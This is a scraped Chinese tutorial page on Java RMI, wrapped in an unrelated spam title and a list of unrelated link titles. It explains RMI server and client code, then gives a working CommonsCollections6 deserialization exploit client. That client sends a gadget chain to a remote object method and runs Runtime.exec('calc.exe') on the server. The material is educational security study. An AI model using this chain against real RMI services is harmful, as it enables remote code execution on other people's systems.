当前位置: 首页 > news >正文

成都建设网站那家好wordpress不同页面显示不同文章

成都建设网站那家好,wordpress不同页面显示不同文章,慈溪做网站什么价,织梦游戏网站模板文章目录 【java安全】RMI前言RMI的组成RMI实现Server0x01 编写一个远程接口0x02 实现该远程接口0x03 Registry注册远程对象 Client 小疑问RMI攻击 【java安全】RMI 前言 RMI全称为#xff1a;Remote Method Invocation 远程方法调用#xff0c;是java独立的一种机制。 RM… 文章目录 【java安全】RMI前言RMI的组成RMI实现Server0x01 编写一个远程接口0x02 实现该远程接口0x03 Registry注册远程对象 Client 小疑问RMI攻击 【java安全】RMI 前言 RMI全称为Remote Method Invocation 远程方法调用是java独立的一种机制。 RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法 在网络传输的过程中RMI中对象是通过序列化的形式进行编码传输既然有序列化必然会有反序列化RMI服务端在接收到序列化后的会将对象进行反序列化。 在反序列化攻击中我们可能找不到反序列化的点那么使用RMI就可以作为反序列化利用链的触发点 ***** RMI的组成 RMI主要分为三个部分 Client客户端客户端调用服务端的方法Server服务端远程调用方法对象的提供者是代码真正执行的地方执行结束会给客户端返回一个方法执行的结果Registry注册中心本质就是一个map像一个字典用于客户端查询服务端调用方法的引用 RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样 唯一区别就是RMI服务端提供的方法被调用时方法是执行在服务端 为了屏蔽网络通信的复杂性RMI 引入了两个概念分别是 Stubs客户端存根 以及 Skeletons服务端骨架当客户端Client试图调用一个在远端的 Object 时实际调用的是客户端本地的一个代理类Proxy这个代理类就称为 Stub而在调用远端Server的目标类之前也会经过一个对应的远端代理类就是 Skeleton它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。 RMI Register 像一个网关自己不会执行远程方法但是RMI Server可以在上面注册一个Name到对象的绑定关系RMI Client通过这个Name向RMI Registry查询获得绑定关系然后连接RMI Server。最后远程方法在RMI Server上调用 RMI实现 Server 一个RMIServer分为三个部分 一个继承了java.rmi.Remote的接口其中定义我们想要远程调用的函数比如这里的hello()一个实现了此接口的类此类实现了函数体并且继承UnicastRemoteObject类一个主类用来创建Registry并将上面的类实例化后绑定到一个地址。这就是所谓Server了 0x01 编写一个远程接口 public interface IRemoteHelloWorld extends Remote {public String hello() throws RemoteException; }这个接口需要使用public声明否则客户端尝试加载远程接口的对象会出错除非客户端、服务端放在一起继承 java.rmi.Remote接口接口的方法需要抛出RemoteException异常 0x02 实现该远程接口 public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{protected RemoteHelloWorld() throws RemoteException {}public String hello() throws RemoteException {System.out.println(hello~~~());return Hello,World!;} }该类实现远程接口继承UnicastRemoteObject类貌似继承了之后会使用默认socket进行通讯并且该实现类会一直运行在服务器上。如果不继承UnicastRemoteObject类则需要手工初始化远程对象在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。构造方法抛出RemoteException异常实现类中使用的对象必须都可序列化即都继承java.io.Serilizable 0x03 Registry注册远程对象 上面我们已经把远程调用的类创建好了接下来我们怎么创建并调用它呢 Java RMI 设计了一个 Registry 的思想很好理解我们可以使用注册表来查找一个远端对象的引用更通俗的来讲这个就是一个 RMI 电话本我们想在某个人那里获取信息时Remote Method Invocation我们在电话本上Registry通过这个人的名称 Name来找到这个人的电话号码Reference并通过这个号码找到这个人Remote Object。 这种思想是由java.rmi.registry.Registry和java.rmi.Nameing来实现的 先说java.rmi.Nameing 这是一个final类提供了在远程对象注册表中存储和获取远程对象引用的方法 这个类的每个方法中都有一个URL格式的参数格式为//host:port/ObjectName host表示注册表所在的主机port表示注册表接受调用的端口号默认1099name表示一个注册的Remote Object的引用名称 那么就好理解了我们实现了服务端待调用的对象现在我们需要利用Naming.rebind()函数将其注册到register中 步骤 利用LocateRegistry.createRegistry(1099);创建registry注册中心实例化远程对象将实例化对象绑定到registry注册中心 public class RemoteServer {public static void main(String[] args) throws RemoteException, MalformedURLException {// 创建注册中心指定1099端口LocateRegistry.createRegistry(1099);// 实例化远程对象RemoteHelloWorld remoteHelloWorld new RemoteHelloWorld();// 将远程对象绑定到注册中心此处Name为leekosNaming.rebind(rmi://localhost:1099/leekos, remoteHelloWorld); //注意字符串格式} }服务端我们已经搭建好了 Client 接下来我们需要搭建客户端来远程执行服务器上的对象方法。 步骤如下 使用Naming通过名字找到registry中绑定的对象调用对象的方法 这里我们使用Naming.lookup()方法寻找registry的对象 public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {IRemoteHelloWorld iRemoteHelloWorld (IRemoteHelloWorld) Naming.lookup(rmi://localhost:1099/leekos);String hello iRemoteHelloWorld.hello();System.out.println(hello);} }小疑问 首先执行服务端 接着执行客户端 在客户端的控制台成功返回Hello,World! 此处我们发现了一个现象为什么对象方法输出的hello~~~()字符串在服务端输出呢 这刚好证明了RMI中远程方法是在服务端调用的并将方法执行结果返回给客户端 RMI攻击 既然我们可以远程调用服务器上的对象的方法并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object类型我们就可以传入构造好的利用链对象当反序列化时就会触发 此处使用java反序列化CommonsCollections6链子 服务端代码如上但是必须满足相关条件 使用具有漏洞的Commons-Collections3.1组件RMI提供的远程对象的方法形参中有Object类型这样才能实现反序列化链利用 客户端代码 public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {IRemoteHelloWorld iRemoteHelloWorld (IRemoteHelloWorld) Naming.lookup(rmi://localhost:1099/leekos);Map map getPayload();iRemoteHelloWorld.doWork(map);}public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {Transformer[] fakeTransformers new Transformer[]{};Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class,Class[].class}, new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class,Object[].class}, new Object[]{null, newObject[0]}),new InvokerTransformer(exec, new Class[]{String.class},new String[]{calc.exe})};Transformer chainedTransformer new ChainedTransformer(fakeTransformers);Map uselessMap new HashMap();Map outerMap LazyMap.decorate(uselessMap, chainedTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, leekos);Map hashMap new HashMap();/**此处使用put()触发了hash()方法从而未经readObject() RCE*我们需要先将ChainedTransformer值设置为假的fakeTransformers*/hashMap.put(tiedMapEntry, value);//清空由于 hashMap.put 对 LazyMap 造成的影响outerMap.clear();Field iTransformers ChainedTransformer.class.getDeclaredField(iTransformers);iTransformers.setAccessible(true);iTransformers.set(chainedTransformer, transformers);return hashMap;}}使用CommonsCollections6可以在高版本java中利用。当我们运行代码时弹出计算器
http://www.tj-hxxt.cn/news/225767.html

相关文章:

  • wordpress直接上传视频网站app制作开发
  • 源码搭建网站流程灯具电商网站建设方案
  • asp网站采集电子商务公司经营范围有哪些
  • 网站优化细节ui设计培训班学费
  • 扎金花网站怎么做wordpress媒体库数据
  • 顺德网站制作案例市场热门的网页设计工具有哪些
  • 南通网站制作域名如何指向网站
  • dede 中英文网站 怎么做创建网站购买域名要注意什么
  • 域名可以绑定网站吗广州地铁18号线最新线路图
  • 环境网站模板济宁网站建设流程
  • 移动版网站开发黄页网站怎么查
  • 做网站外包好做吗广告公司取什么名字好
  • 高大上的企业网站欣赏南宁百度seo价格
  • 基础网站建设素材张雪峰不建议报的计算机
  • 水务 网站建设拍摄宣传片的流程简要
  • 企业网站后台管理模板展厅设计公司首选
  • 做ppt好的模板下载网站北京工程设计公司排名
  • 企业网站制作步骤燕窝网站怎么做的
  • 阿里巴巴国际站买家版appseo会被取代吗
  • 徐州cms模板建站搜索关键词站长工具
  • 门户网站建设专业御花园网站建设公司
  • 桥西区建设局网站wordpress点击下载
  • 牡丹江网站建设东莞网站建设(信科网络)
  • 做服装有哪些好的网站鞍山ui界面
  • 商城网站程序wordpress中英文网站
  • 公司直招的招聘网站互联网技术怎么学
  • 营销型平台网站制作公司网页思路怎么写
  • 学校网站开发的背景妙影免费模板下载
  • 江苏网站开发建设电话呼市网页设计培训
  • 网站每年要交钱吗正规中国建筑装饰产业网官网